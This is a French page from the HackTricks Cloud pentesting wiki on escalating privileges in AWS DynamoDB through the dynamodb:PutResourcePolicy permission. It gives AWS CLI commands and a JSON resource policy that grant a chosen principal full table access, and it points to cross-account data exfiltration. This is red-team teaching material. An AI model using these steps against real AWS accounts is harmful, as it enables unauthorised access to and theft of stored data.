AWS - DynamoDB Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.

dynamodb

Pour plus d’informations sur dynamodb, consultez :

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, et éventuellement dynamodb:GetResourcePolicy

Depuis mars 2024, AWS propose des politiques basées sur les ressources pour DynamoDB (AWS News).

Donc, si vous possédez dynamodb:PutResourcePolicy sur une table, vous pouvez simplement vous accorder (ou accorder à tout autre principal) un accès complet à la table.

Attribuer dynamodb:PutResourcePolicy à un principal au hasard arrive souvent par accident, si les admins pensent que donner dynamodb:Put* permettrait seulement au principal d’insérer des items dans la base - ou s’ils ont accordé ce jeu de permissions avant mars 2024…

Idéalement, vous avez aussi dynamodb:GetResourcePolicy, afin de ne pas écraser d’autres permissions potentiellement vitales, mais d’injecter uniquement les permissions additionnelles dont vous avez besoin :

# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Si vous ne pouvez pas récupérer la stratégie actuelle, utilisez simplement celle-ci qui accorde un accès complet à la table à votre principal :

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Si vous devez le personnaliser, voici une liste de toutes les actions possibles de DynamoDB : AWS Documentation. Et voici une liste de toutes les actions qui peuvent être autorisées via une resource based policy ET lesquelles de celles-ci peuvent être utilisées cross-account (pensez à la data exfiltration !) : AWS Documentation

Maintenant, avec le document de politique policy.json prêt, mettez la resource policy :

# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Vous devriez maintenant disposer des permissions nécessaires.

Post Exploitation

À ma connaissance, il n’existe aucun autre moyen direct d’escalade de privilèges dans AWS simplement en disposant de certaines permissions AWS dynamodb. Vous pouvez lire des informations sensibles depuis les tables (qui pourraient contenir AWS credentials) et écrire des informations dans les tables (ce qui pourrait déclencher d’autres vulnérabilités, comme lambda code injections…) mais toutes ces options sont déjà considérées dans la DynamoDB Post Exploitation page:

AWS - DynamoDB Post Exploitation

TODO: Lire des données en abusant des data Streams

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.